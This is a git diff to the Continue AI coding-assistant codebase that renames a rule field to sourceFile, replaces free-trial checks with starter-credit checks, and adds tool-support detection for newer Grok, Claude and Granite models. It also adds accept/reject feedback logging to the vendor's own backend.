@@ -93,7 +93,7 @@ describe("alwaysApply Behavior", () => {
alwaysApply: false,
// No globs
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
};
// Test with no file context
@@ -131,7 +131,7 @@ describe("alwaysApply Behavior", () => {
name: "Default No Globs Rule",
rule: "Default rule with no globs",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
// No alwaysApply, no globs
};
@@ -141,7 +141,7 @@ describe("alwaysApply Behavior", () => {
rule: "Default rule with globs",
globs: "**/*.tsx",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
// No alwaysApply, with globs
};
diff --git a/core/llm/rules/alwaysApplyRules.vitest.ts b/core/llm/rules/alwaysApplyRules.vitest.ts
index 538ab03cf..b6073bf7d 100644
--- a/core/llm/rules/alwaysApplyRules.vitest.ts
+++ b/core/llm/rules/alwaysApplyRules.vitest.ts
@@ -15,7 +15,7 @@ describe("Rule application with alwaysApply", () => {
rule: "This rule should always be applied",
alwaysApply: true,
source: "rules-block",
- ruleFile: ".continue/always-apply.md",
+ sourceFile: ".continue/always-apply.md",
};
// Create a colocated rule in a nested directory
@@ -23,7 +23,7 @@ describe("Rule application with alwaysApply", () => {
name: "Nested Directory Rule",
rule: "This rule applies to files in the nested directory",
source: "rules-block",
- ruleFile: "nested-folder/rules.md",
+ sourceFile: "nested-folder/rules.md",
};
it("should apply alwaysApply rules even with no file references", () => {
@@ -145,7 +145,7 @@ describe("Rule application with alwaysApply", () => {
rule: "This rule has alwaysApply: true but is blocked by rulePolicies",
alwaysApply: true,
source: "rules-block",
- ruleFile: "src/some/path.md",
+ sourceFile: "src/some/path.md",
};
// Message with no code blocks or file references
diff --git a/core/llm/rules/fileProtocolMatching.vitest.ts b/core/llm/rules/fileProtocolMatching.vitest.ts
index 075ca0472..310e868c5 100644
--- a/core/llm/rules/fileProtocolMatching.vitest.ts
+++ b/core/llm/rules/fileProtocolMatching.vitest.ts
@@ -8,7 +8,7 @@ describe("File Path Protocol Matching", () => {
name: "Rule with file:// protocol",
rule: "This is a test rule",
source: "rules-block",
- ruleFile: "file:///Users/user/project/nested-folder/rules.md",
+ sourceFile: "file:///Users/user/project/nested-folder/rules.md",
};
it("should match relative paths with file:// protocol paths", () => {
diff --git a/core/llm/rules/getSystemMessageWithRules.ts b/core/llm/rules/getSystemMessageWithRules.ts
index dc03ad43f..cce647c14 100644
--- a/core/llm/rules/getSystemMessageWithRules.ts
+++ b/core/llm/rules/getSystemMessageWithRules.ts
@@ -1,6 +1,7 @@
import { minimatch } from "minimatch";
import {
ContextItemWithId,
+ RuleMetadata,
RuleWithSource,
ToolResultChatMessage,
UserChatMessage,
@@ -132,7 +133,7 @@ const isFileInDirectory = (
* Checks if a rule is a root-level rule (.continue directory or no file path)
*/
const isRootLevelRule = (rule: RuleWithSource): boolean => {
- return !rule.ruleFile || rule.ruleFile.includes(".continue/"); // ruleFile path is absolute - hence we need to check for it in between
+ return !rule.sourceFile || rule.sourceFile.includes(".continue/"); // sourceFile path is absolute - hence we need to check for it in between
};
/**
@@ -230,8 +231,8 @@ export const shouldApplyRule = (
const isRootRule = isRootLevelRule(rule);
// For non-root rules, we need to check if any files are in the rule's directory
- if (!isRootRule && rule.ruleFile) {
- const ruleDirectory = getCleanUriPath(rule.ruleFile);
+ if (!isRootRule && rule.sourceFile) {
+ const ruleDirectory = getCleanUriPath(rule.sourceFile);
const lastSlashIndex = ruleDirectory.lastIndexOf("/");
const ruleDirPath =
lastSlashIndex !== -1 ? ruleDirectory.substring(0, lastSlashIndex) : "";
@@ -324,8 +325,8 @@ export const getApplicableRules = (
return applicableRules;
};
-export function getRuleId(rule: RuleWithSource): string {
- return rule.slug ?? rule.ruleFile ?? rule.name ?? rule.source;
+export function getRuleId(rule: RuleMetadata): string {
+ return rule.slug ?? rule.sourceFile ?? rule.name ?? rule.source;
}
export const getSystemMessageWithRules = ({
@@ -342,7 +343,7 @@ export const getSystemMessageWithRules = ({
rulePolicies?: RulePolicies;
}): {
systemMessage: string;
- appliedRules: RuleWithSource[];
+ appliedRules: RuleMetadata[];
} => {
const appliedRules = getApplicableRules(
userMessage,
@@ -359,8 +360,10 @@ export const getSystemMessageWithRules = ({
systemMessage += rule.rule;
}
+ const ruleMetadata = appliedRules.map(({ rule, ...rest }) => rest);
+
return {
systemMessage,
- appliedRules,
+ appliedRules: ruleMetadata,
};
};
diff --git a/core/llm/rules/getSystemMessageWithRules.vitest.ts b/core/llm/rules/getSystemMessageWithRules.vitest.ts
index 9f350197d..104ceecf8 100644
--- a/core/llm/rules/getSystemMessageWithRules.vitest.ts
+++ b/core/llm/rules/getSystemMessageWithRules.vitest.ts
@@ -20,7 +20,7 @@ describe("Rule colocation glob matching", () => {
name: "Components Rule",
rule: "Use functional components with hooks",
source: "rules-block",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
// No explicit globs - should only apply to files in src/components/ directory
};
@@ -43,7 +43,7 @@ describe("Rule colocation glob matching", () => {
rule: "Use TypeScript with React components",
globs: "**/*.tsx", // Only .tsx files
source: "rules-block",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
// Should only apply to .tsx files in src/components/ directory
};
@@ -69,7 +69,7 @@ describe("Rule colocation glob matching", () => {
name: "Root Rule",
rule: "Follow project standards",
source: "rules-block",
- ruleFile: "/path/to/repo/.continue/rules.md",
+ sourceFile: "/path/to/repo/.continue/rules.md",
// No restriction, should apply to all files
};
@@ -89,7 +89,7 @@ describe("Rule colocation glob matching", () => {
rule: "Follow these guidelines always",
alwaysApply: true,
source: "rules-block",
- ruleFile: "src/specific/rules.md",
+ sourceFile: "src/specific/rules.md",
// Should apply to all files regardless of directory
};
@@ -107,7 +107,7 @@ describe("Rule colocation glob matching", () => {
rule: "This rule should never apply",
alwaysApply: false,
source: "rules-block",
- ruleFile: "src/specific/rules.md",
+ sourceFile: "src/specific/rules.md",
// Should never apply since alwaysApply is false and there are no globs
};
@@ -121,7 +121,7 @@ describe("Rule colocation glob matching", () => {
rule: "Apply to TS files but not test files",
globs: ["**/*.ts", "!**/*.test.ts", "!**/*.spec.ts"],
source: "rules-block",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
// Should only apply to non-test TS files in src/utils/
};
@@ -147,7 +147,7 @@ describe("Rule policies", () => {
name: "Components Rule",
rule: "Use functional components with hooks",
source: "rules-block",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
};
const testFiles = ["src/components/Button.tsx"];
@@ -167,7 +167,7 @@ describe("Rule policies", () => {
rule: "This rule would normally always apply",
alwaysApply: true,
source: "rules-block",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
};
const offPolicies: RulePolicies = {
@@ -212,7 +212,7 @@ describe("Rule policies", () => {
name: "Root Rule",
rule: "Follow project standards",
source: "rules-block",
- ruleFile: "/my/project/.continue/rules.md",
+ sourceFile: "/my/project/.continue/rules.md",
};
// Off policy should override even global rules
@@ -238,7 +238,7 @@ describe("Rule policies", () => {
alwaysApply: true,
globs: "**/*.ts",
source: "rules-block",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
};
// Off policy should win over everything
@@ -261,7 +261,7 @@ describe("Content pattern matching", () => {
rule: "Follow React component standards",
regex: "export (function|const) \\w+.*\\(",
source: "rules-block",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
};
// File that matches the pattern
@@ -293,7 +293,7 @@ describe("Content pattern matching", () => {
rule: "Apply to functions or classes",
regex: ["function\\s+\\w+", "class\\s+\\w+"],
source: "rules-block",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
};
const filePath = "src/utils/helper.ts";
@@ -332,7 +332,7 @@ describe("Content pattern matching", () => {
globs: "**/*.ts",
regex: "class\\s+\\w+",
source: "rules-block",
- ruleFile: "src/models/rules.md",
+ sourceFile: "src/models/rules.md",
};
const tsFilePath = "src/models/User.ts";
@@ -371,7 +371,7 @@ describe("Content pattern matching", () => {
rule: "Use arrow functions for better this binding",
regex: "const\\s+\\w+\\s*=\\s*\\(",
source: "rules-block",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
};
// Message with code block containing a matching pattern
@@ -433,7 +433,7 @@ describe("Content pattern matching", () => {
rule: "This rule has an invalid regex pattern",
regex: "([unclosed parenthesis",
source: "rules-block",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
};
const filePath = "src/utils/helper.ts";
@@ -454,7 +454,7 @@ describe("Content pattern matching", () => {
rule: "Apply only to model files with interfaces",
regex: "interface\\s+\\w+",
source: "rules-block",
- ruleFile: "src/models/rules.md",
+ sourceFile: "src/models/rules.md",
};
// File in the correct directory with matching content
diff --git a/core/llm/rules/implicitGlobalRules.vitest.ts b/core/llm/rules/implicitGlobalRules.vitest.ts
index 3d9d62004..baa13745f 100644
--- a/core/llm/rules/implicitGlobalRules.vitest.ts
+++ b/core/llm/rules/implicitGlobalRules.vitest.ts
@@ -8,7 +8,7 @@ describe("Implicit global rules application", () => {
name: "Implicit Global Rule",
rule: "This rule should be applied to all messages (implicit global)",
source: "rules-block",
- ruleFile: ".continue/global-rule.md",
+ sourceFile: ".continue/global-rule.md",
// No alwaysApply specified
// No globs specified
};
@@ -19,7 +19,7 @@ describe("Implicit global rules application", () => {
rule: "This rule should always be applied (explicit global)",
alwaysApply: true,
source: "rules-block",
- ruleFile: ".continue/explicit-global.md",
+ sourceFile: ".continue/explicit-global.md",
};
// Create a colocated rule in a nested directory
@@ -27,7 +27,7 @@ describe("Implicit global rules application", () => {
name: "Nested Directory Rule",
rule: "This rule applies to files in the nested directory",
source: "rules-block",
- ruleFile: "nested-folder/rules.md",
+ sourceFile: "nested-folder/rules.md",
};
it("should apply rules with no alwaysApply and no globs to all messages, even with no file references", () => {
@@ -63,7 +63,7 @@ describe("Implicit global rules application", () => {
name: "Root No Globs Rule",
rule: "This is a root-level rule with no globs",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
// No alwaysApply, no globs
};
@@ -119,7 +119,7 @@ describe("Implicit global rules application", () => {
name: "Assistant Guidelines",
rule: "SOLID Design Principles - Coding Assistant Guidelines",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
// No alwaysApply, no globs - should still apply
};
diff --git a/core/llm/rules/nestedDirectoryRules.vitest.ts b/core/llm/rules/nestedDirectoryRules.vitest.ts
index 7f55bc7c3..97f8f8238 100644
--- a/core/llm/rules/nestedDirectoryRules.vitest.ts
+++ b/core/llm/rules/nestedDirectoryRules.vitest.ts
@@ -13,7 +13,7 @@ describe("Nested directory rules application", () => {
name: "Nested Folder Rule",
rule: "HELLO WORLD THIS IS A RULE",
source: "rules-block",
- ruleFile: "manual-testing-sandbox/nested-folder/rules.md",
+ sourceFile: "manual-testing-sandbox/nested-folder/rules.md",
// No globs specified
};
@@ -22,7 +22,7 @@ describe("Nested directory rules application", () => {
name: "Global Rule",
rule: "SOLID Design Principles - Coding Agent Guidelines",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
};
it("should apply nested directory rules to files in that directory", () => {
@@ -103,7 +103,7 @@ describe("Nested directory rules application", () => {
rule: "Follow Python best practices for src directory",
globs: "**/*.py", // This should only match .py files in src/ and subdirectories
source: "rules-block",
- ruleFile: "src/rules.md",
+ sourceFile: "src/rules.md",
};
// A rule in utils/ that targets *.py files
@@ -112,7 +112,7 @@ describe("Nested directory rules application", () => {
rule: "Follow Python best practices for utils directory",
globs: "**/*.py", // This should only match .py files in utils/ and subdirectories
source: "rules-block",
- ruleFile: "utils/rules.md",
+ sourceFile: "utils/rules.md",
};
// A file in src/
diff --git a/core/llm/rules/ruleColocation.vitest.ts b/core/llm/rules/ruleColocation.vitest.ts
index 6bee635b0..644bfb957 100644
--- a/core/llm/rules/ruleColocation.vitest.ts
+++ b/core/llm/rules/ruleColocation.vitest.ts
@@ -10,7 +10,7 @@ describe("Rule colocation - glob pattern matching", () => {
name: "General Rule",
rule: "Follow coding standards",
source: "colocated-markdown",
- ruleFile: "src/rules.md",
+ sourceFile: "src/rules.md",
},
// Redux-specific rule with specific directory/file type pattern
@@ -19,7 +19,7 @@ describe("Rule colocation - glob pattern matching", () => {
rule: "Use Redux Toolkit",
globs: "src/redux/**/*.{ts,tsx}",
source: "colocated-markdown",
- ruleFile: "src/redux/rules.md",
+ sourceFile: "src/redux/rules.md",
},
// Component-specific rule with array of globs
@@ -28,7 +28,7 @@ describe("Rule colocation - glob pattern matching", () => {
rule: "Use functional components",
globs: ["src/components/**/*.tsx", "src/components/**/*.jsx"],
source: "colocated-markdown",
- ruleFile: "src/components/rules.md",
+ sourceFile: "src/components/rules.md",
},
// Rule with explicit alwaysApply: true
@@ -38,7 +38,7 @@ describe("Rule colocation - glob pattern matching", () => {
alwaysApply: true,
globs: "src/specific/**/*.ts", // Should be ignored since alwaysApply is true
source: "colocated-markdown",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
},
// Rule with explicit alwaysApply: false
@@ -48,7 +48,7 @@ describe("Rule colocation - glob pattern matching", () => {
alwaysApply: false,
// No globs, so should never apply
source: "colocated-markdown",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
},
// Rule with explicit alwaysApply: false but with globs
@@ -58,7 +58,7 @@ describe("Rule colocation - glob pattern matching", () => {
alwaysApply: false,
globs: "src/utils/**/*.ts",
source: "colocated-markdown",
- ruleFile: "src/utils/rules.md",
+ sourceFile: "src/utils/rules.md",
},
};
@@ -128,7 +128,7 @@ describe("Rule colocation - glob pattern matching", () => {
// Fix: Specify the exact path prefix to restrict to this directory structure
globs: "src/features/auth/utils/**/*.ts",
source: "colocated-markdown",
- ruleFile: "src/features/auth/utils/rules.md",
+ sourceFile: "src/features/auth/utils/rules.md",
};
it("should apply nested rules to files in the same directory and subdirectories", () => {
@@ -158,7 +158,7 @@ describe("Rule colocation - glob pattern matching", () => {
// Testing with standard pattern instead
globs: "src/**/[!.]*.ts",
source: "colocated-markdown",
- ruleFile: "src/rules.md",
+ sourceFile: "src/rules.md",
};
it("should apply to matching files that are not excluded", () => {
@@ -175,7 +175,7 @@ describe("Rule colocation - glob pattern matching", () => {
globs: ["src/**/*.ts", "!src/**/*.test.ts", "!src/**/*.spec.ts"],
alwaysApply: false,
source: "colocated-markdown",
- ruleFile: "src/rules.md",
+ sourceFile: "src/rules.md",
};
// Using alwaysApply:false with a more specific test
diff --git a/core/llm/rules/rules-utils.ts b/core/llm/rules/rules-utils.ts
new file mode 100644
index 000000000..279cf55eb
--- /dev/null
+++ b/core/llm/rules/rules-utils.ts
@@ -0,0 +1,46 @@
+import { RuleMetadata } from "../..";
+import { getLastNPathParts } from "../../util/uri";
+
+export function getRuleDisplayName(rule: RuleMetadata): string {
+ if (rule.name) {
+ return rule.name;
+ }
+ return getRuleSourceDisplayName(rule);
+}
+
+export function getRuleSourceDisplayName(rule: RuleMetadata): string {
+ switch (rule.source) {
+ case ".continuerules":
+ return "Project rules";
+ case "default-chat":
+ return "Default chat system message";
+ case "default-plan":
+ return "Default plan mode system message";
+ case "default-agent":
+ return "Default agent system message";
+ case "json-systemMessage":
+ return "System Message (JSON)";
+ case "model-options-agent":
+ return "Base System Agent Message";
+ case "model-options-plan":
+ return "Base System Plan Message";
+ case "model-options-chat":
+ return "Base System Chat Message";
+ case "agentFile":
+ if (rule.sourceFile) {
+ return getLastNPathParts(rule.sourceFile, 2);
+ } else {
+ return "Agent file";
+ }
+ case "colocated-markdown":
+ if (rule.sourceFile) {
+ return getLastNPathParts(rule.sourceFile, 2);
+ } else {
+ return "rules.md";
+ }
+ case "rules-block":
+ return "Rules Block";
+ default:
+ return rule.source;
+ }
+}
diff --git a/core/llm/streamChat.ts b/core/llm/streamChat.ts
index d1a0d4fe0..ec1f046c5 100644
--- a/core/llm/streamChat.ts
+++ b/core/llm/streamChat.ts
@@ -1,11 +1,12 @@
import { fetchwithRequestOptions } from "@continuedev/fetch";
import { ChatMessage, IDE, PromptLog } from "..";
import { ConfigHandler } from "../config/ConfigHandler";
-import { usesFreeTrialApiKey } from "../config/usesFreeTrialApiKey";
+import { usesCreditsBasedApiKey } from "../config/usesFreeTrialApiKey";
import { FromCoreProtocol, ToCoreProtocol } from "../protocol";
import { IMessenger, Message } from "../protocol/messenger";
import { Telemetry } from "../util/posthog";
import { TTS } from "../util/tts";
+import { isOutOfStarterCredits } from "./utils/starterCredits";
export async function* llmStreamChat(
configHandler: ConfigHandler,
@@ -59,13 +60,6 @@ export async function* llmStreamChat(
if (!slashCommand) {
throw new Error(`Unknown slash command ${command.name}`);
}
- void Telemetry.capture(
- "useSlashCommand",
- {
- name: command.name,
- },
- true,
- );
if (!slashCommand.run) {
console.error(
`Slash command ${command.name} (${command.source}) has no run function`,
@@ -151,7 +145,7 @@ export async function* llmStreamChat(
true,
);
- void checkForFreeTrialExceeded(configHandler, messenger);
+ void checkForOutOfStarterCredits(configHandler, messenger);
if (!next.done) {
throw new Error("Will never happen");
@@ -160,46 +154,24 @@ export async function* llmStreamChat(
return next.value;
}
} catch (error) {
- if (
- error instanceof Error &&
- error.message.toLowerCase().includes("premature close")
- ) {
- void Telemetry.capture(
- "stream_premature_close_error",
- {
- model: model.model,
- provider: model.providerName,
- errorMessage: error.message,
- context: legacySlashCommandData ? "slash_command" : "regular_chat",
- ...(legacySlashCommandData && {
- command: legacySlashCommandData.command.name,
- }),
- },
- false,
- );
- }
+ // Moved error handling that was here to GUI, keeping try/catch for clean diff
throw error;
}
}
-async function checkForFreeTrialExceeded(
+async function checkForOutOfStarterCredits(
configHandler: ConfigHandler,
messenger: IMessenger,
) {
- const { config } = await configHandler.getSerializedConfig();
-
- // Only check if the user is using the free trial
- if (config && !usesFreeTrialApiKey(config)) {
- return;
- }
-
try {
- const freeTrialStatus =
- await configHandler.controlPlaneClient.getFreeTrialStatus();
+ const { config } = await configHandler.getSerializedConfig();
+ const creditStatus =
+ await configHandler.controlPlaneClient.getCreditStatus();
+
if (
- freeTrialStatus &&
- freeTrialStatus.chatCount &&
- freeTrialStatus.chatCount > freeTrialStatus.chatLimit
+ config &&
+ creditStatus &&
+ isOutOfStarterCredits(usesCreditsBasedApiKey(config), creditStatus)
) {
void messenger.request("freeTrialExceeded", undefined);
}
diff --git a/core/llm/templates/edit/gpt.ts b/core/llm/templates/edit/gpt.ts
index bafad3f3b..02f1894e8 100644
--- a/core/llm/templates/edit/gpt.ts
+++ b/core/llm/templates/edit/gpt.ts
@@ -76,5 +76,5 @@ export const defaultApplyPrompt: PromptTemplateFunction = (
history,
otherData,
) => {
- return `${otherData.original_code}\n\nThe following code was suggested as an edit:\n\`\`\`\n${otherData.new_code}\n\`\`\`\nPlease apply it to the previous code.`;
+ return `${otherData.original_code}\n\nThe following code was suggested as an edit:\n\`\`\`\n${otherData.new_code}\n\`\`\`\nPlease apply it to the previous code. Do not change comments unless explicitly requested.`;
};
diff --git a/core/llm/toolSupport.test.ts b/core/llm/toolSupport.test.ts
index 71f70485f..ad883e4cb 100644
--- a/core/llm/toolSupport.test.ts
+++ b/core/llm/toolSupport.test.ts
@@ -41,7 +41,7 @@ describe("PROVIDER_TOOL_SUPPORT", () => {
it("should return true for Gemini models", () => {
expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-pro")).toBe(true);
- expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-1.5-pro")).toBe(
+ expect(supportsFn("ownerSlug/packageSlug/gemini/gemini-2.5-pro")).toBe(
true,
);
});
@@ -139,7 +139,6 @@ describe("PROVIDER_TOOL_SUPPORT", () => {
it("should return true for all Gemini models", () => {
expect(supportsFn("gemini-pro")).toBe(true);
- expect(supportsFn("gemini-1.5-pro")).toBe(true);
expect(supportsFn("gemini-ultra")).toBe(true);
});
@@ -150,7 +149,7 @@ describe("PROVIDER_TOOL_SUPPORT", () => {
it("should handle case insensitivity", () => {
expect(supportsFn("GEMINI-pro")).toBe(true);
- expect(supportsFn("Gemini-1.5-Pro")).toBe(true);
+ expect(supportsFn("Gemini-2.5-Pro")).toBe(true);
});
});
@@ -280,6 +279,23 @@ describe("PROVIDER_TOOL_SUPPORT", () => {
});
});
+ describe("xAI", () => {
+ const supportsFn = PROVIDER_TOOL_SUPPORT["xAI"];
+
+ it("should return true for Grok-3 models", () => {
+ expect(supportsFn("grok-3")).toBe(true);
+ expect(supportsFn("grok-3-mini")).toBe(true);
+ expect(supportsFn("grok-3-fast")).toBe(true);
+ });
+
+ it("should return true for Grok-4 models", () => {
+ expect(supportsFn("grok-4")).toBe(true);
+ expect(supportsFn("grok-4-fast-non-reasoning")).toBe(true);
+ expect(supportsFn("grok-4-fast-reasoning")).toBe(true);
+ expect(supportsFn("Grok-4-Fast")).toBe(true);
+ });
+ });
+
describe("novita", () => {
const supportsFn = PROVIDER_TOOL_SUPPORT["novita"];
diff --git a/core/llm/toolSupport.ts b/core/llm/toolSupport.ts
index 35867336f..5e4f26241 100644
--- a/core/llm/toolSupport.ts
+++ b/core/llm/toolSupport.ts
@@ -29,6 +29,7 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> =
].some((part) => model.toLowerCase().startsWith(part));
},
anthropic: (model) => {
+ const lower = model.toLowerCase();
if (
[
"claude-3-5",
@@ -38,10 +39,13 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> =
"claude-sonnet-4",
"claude-4-sonnet",
"claude-opus-4",
- ].some((part) => model.toLowerCase().startsWith(part))
+ ].some((part) => lower.startsWith(part))
) {
return true;
}
+ if (lower.includes("claude") && lower.includes("4-5")) {
+ return true;
+ }
return false;
},
@@ -110,6 +114,12 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> =
}
return ["claude", "gemini"].some((val) => lowerCaseModel.includes(val));
},
+ xAI: (model) => {
+ const lowerCaseModel = model.toLowerCase();
+ return ["grok-3", "grok-4", "grok-code"].some((val) =>
+ lowerCaseModel.includes(val),
+ );
+ },
bedrock: (model) => {
if (
[
@@ -185,6 +195,8 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> =
"llama3-groq",
"granite3",
"granite-3",
+ "granite4",
+ "granite-4",
"aya-expanse",
"firefunction-v2",
"mistral",
@@ -203,7 +215,9 @@ export const PROVIDER_TOOL_SUPPORT: Record boolean> =
if (
model.toLowerCase().startsWith("meta-llama-3") ||
model.toLowerCase().includes("llama-4") ||
- model.toLowerCase().includes("deepseek")
+ model.toLowerCase().includes("deepseek") ||
+ model.toLowerCase().includes("gpt") ||
+ model.toLowerCase().includes("qwen")
) {
return true;
}
@@ -377,6 +391,8 @@ export function isRecommendedAgentModel(modelName: string): boolean {
[/gpt-5/],
[/claude/, /sonnet/, /3\.7|3-7|-4/],
[/claude/, /opus/, /-4/],
+ [/grok-code/],
+ [/claude/, /4-5/],
];
for (const combo of recs) {
if (combo.every((regex) => modelName.toLowerCase().match(regex))) {
diff --git a/core/llm/utils/getSecureID.test.ts b/core/llm/utils/getSecureID.test.ts
index a8d41a230..32404ce58 100644
--- a/core/llm/utils/getSecureID.test.ts
+++ b/core/llm/utils/getSecureID.test.ts
@@ -1,49 +1,47 @@
import { getSecureID } from "./getSecureID";
-// Mock the crypto.randomUUID function
-const mockRandomUUID = jest.fn();
-global.crypto = {
- ...global.crypto,
- randomUUID: mockRandomUUID,
-};
-
describe("getSecureID", () => {
beforeEach(() => {
// Reset the static property before each test
(getSecureID as any).uuid = undefined;
-
- // Reset the mock implementation
- mockRandomUUID.mockReset();
- // Setup a mock implementation that returns a fixed value for testing
- mockRandomUUID.mockReturnValue("test-uuid-1234");
});
test("should generate a UUID on first call", () => {
const result = getSecureID();
- expect(mockRandomUUID).toHaveBeenCalledTimes(1);
- expect(result).toBe("");
+
+ // Should return a properly formatted string with SID comment
+ expect(result).toMatch(
+ /^$/,
+ );
+
+ // Should have set the static uuid property
+ expect((getSecureID as any).uuid).toBeDefined();
+ expect(typeof (getSecureID as any).uuid).toBe("string");
});
test("should reuse the same UUID on subsequent calls", () => {
const firstResult = getSecureID();
const secondResult = getSecureID();
- // The UUID generation should only happen once
- expect(mockRandomUUID).toHaveBeenCalledTimes(1);
-
// Both results should be identical
expect(firstResult).toBe(secondResult);
- expect(firstResult).toBe("");
+
+ // Should match UUID format
+ expect(firstResult).toMatch(
+ /^$/,
+ );
});
test("should maintain the same UUID across different test cases if not reset", () => {
- // Don't reset the UUID here to test persistence
+ // Set a specific UUID to test persistence
(getSecureID as any).uuid = "persistent-uuid";
const result = getSecureID();
- // No new UUID should be generated
- expect(mockRandomUUID).not.toHaveBeenCalled();
+ // Should use the pre-existing UUID
expect(result).toBe("");
+
+ // The static property should remain unchanged
+ expect((getSecureID as any).uuid).toBe("persistent-uuid");
});
});
diff --git a/core/llm/utils/getSecureID.ts b/core/llm/utils/getSecureID.ts
index b05fefab6..33a092603 100644
--- a/core/llm/utils/getSecureID.ts
+++ b/core/llm/utils/getSecureID.ts
@@ -1,8 +1,10 @@
+import { v4 as uuidv4 } from "uuid";
+
// Utility function to get or generate UUID for LLM prompts
export function getSecureID(): string {
// Adding a type declaration for the static property
if (!(getSecureID as any).uuid) {
- (getSecureID as any).uuid = crypto.randomUUID();
+ (getSecureID as any).uuid = uuidv4();
}
return ``;
}
diff --git a/core/llm/utils/starterCredits.ts b/core/llm/utils/starterCredits.ts
new file mode 100644
index 000000000..9f0d021d7
--- /dev/null
+++ b/core/llm/utils/starterCredits.ts
@@ -0,0 +1,12 @@
+import { CreditStatus } from "../../control-plane/client";
+
+export function isOutOfStarterCredits(
+ usingModelsAddOnApiKey: boolean,
+ creditStatus: CreditStatus,
+): boolean {
+ return (
+ usingModelsAddOnApiKey &&
+ !creditStatus.hasCredits &&
+ !creditStatus.hasPurchasedCredits
+ );
+}
diff --git a/core/nextEdit/NextEditLoggingService.ts b/core/nextEdit/NextEditLoggingService.ts
index 4ed9ed4e9..e7886bdf0 100644
--- a/core/nextEdit/NextEditLoggingService.ts
+++ b/core/nextEdit/NextEditLoggingService.ts
@@ -1,5 +1,7 @@
import { COUNT_COMPLETION_REJECTED_AFTER } from "../util/parameters";
+import { fetchwithRequestOptions } from "@continuedev/fetch";
+import { getControlPlaneEnvSync } from "../control-plane/env";
import { DataLogger } from "../data/log";
import { Telemetry } from "../util/posthog";
import { NextEditOutcome } from "./types";
@@ -121,6 +123,7 @@ export class NextEditLoggingService {
clearTimeout(this._logRejectionTimeouts.get(completionId)!);
this._logRejectionTimeouts.delete(completionId);
}
+
if (this._outcomes.has(completionId)) {
this._outcomes.delete(completionId);
}
@@ -185,44 +188,15 @@ export class NextEditLoggingService {
this._logRejectionTimeouts.delete(completionId);
}
- // If we have the full outcome, log it as aborted.
+ // Only log if the completion was displayed to the user.
+ // This aligns with Autocomplete behavior and prevents logging
+ // of cancelled requests that never reached the user.
if (this._outcomes.has(completionId)) {
const outcome = this._outcomes.get(completionId)!;
- outcome.accepted = false;
+ // outcome.accepted = false;
outcome.aborted = true;
this.logNextEditOutcome(outcome);
this._outcomes.delete(completionId);
- } else {
- // Log minimal abort event for requests that never got displayed.
- const pendingData = this._pendingCompletions.get(completionId);
-
- const minimalAbortOutcome: Partial = {
- completionId,
- accepted: false,
- aborted: true,
- timestamp: Date.now(),
- uniqueId: completionId,
- elapsed: pendingData ? Date.now() - pendingData.startTime : 0,
- modelName: pendingData?.modelName || "unknown",
- modelProvider: pendingData?.modelProvider || "unknown",
- fileUri: pendingData?.filepath || "unknown",
-
- // Empty/default values for fields we don't have.
- completion: "",
- prompt: "",
- userEdits: "",
- userExcerpts: "",
- originalEditableRange: "",
- workspaceDirUri: "",
- cursorPosition: { line: -1, character: -1 },
- finalCursorPosition: { line: -1, character: -1 },
- editableRegionStartLine: -1,
- editableRegionEndLine: -1,
- diffLines: [],
- completionOptions: {},
- };
-
- this.logNextEditOutcome(minimalAbortOutcome as NextEditOutcome);
}
// Clean up.
@@ -243,6 +217,39 @@ export class NextEditLoggingService {
});
// const { prompt, completion, prefix, suffix, ...restOfOutcome } = outcome;
+ if (outcome.requestId && outcome.accepted !== undefined) {
+ void this.logAcceptReject(outcome.requestId, outcome.accepted);
+ }
void Telemetry.capture("nextEditOutcome", outcome, true);
}
+
+ private async logAcceptReject(
+ requestId: string,
+ accepted: boolean,
+ ): Promise {
+ try {
+ if (!Telemetry.client) {
+ return;
+ }
+
+ const controlPlaneEnv = getControlPlaneEnvSync("production");
+ const resp = await fetchwithRequestOptions(
+ new URL("model-proxy/v1/feedback", controlPlaneEnv.CONTROL_PLANE_URL),
+ {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/json",
+ },
+ body: JSON.stringify({
+ requestId,
+ accepted,
+ }),
+ },
+ );
+ const text = await resp.text();
+ console.debug("Feedback: ", text);
+ } catch (error: any) {
+ console.debug(`Error capturing feedback: ${error.message}`);
+ }
+ }
}
diff --git a/core/nextEdit/NextEditPrefetchQueue.ts b/core/nextEdit/NextEditPrefetchQueue.ts
index ad35db3b9..d6af3598d 100644
--- a/core/nextEdit/NextEditPrefetchQueue.ts
+++ b/core/nextEdit/NextEditPrefetchQueue.ts
@@ -140,7 +140,7 @@ export class PrefetchQueue {
const count = Math.min(3, this.processedQueue.length);
const firstThree = this.processedQueue.slice(0, count);
firstThree.forEach((item, index) => {
- console.log(
+ console.debug(
`Item ${index + 1}: ${item.location.range.start.line} to ${item.location.range.end.line}`,
);
});
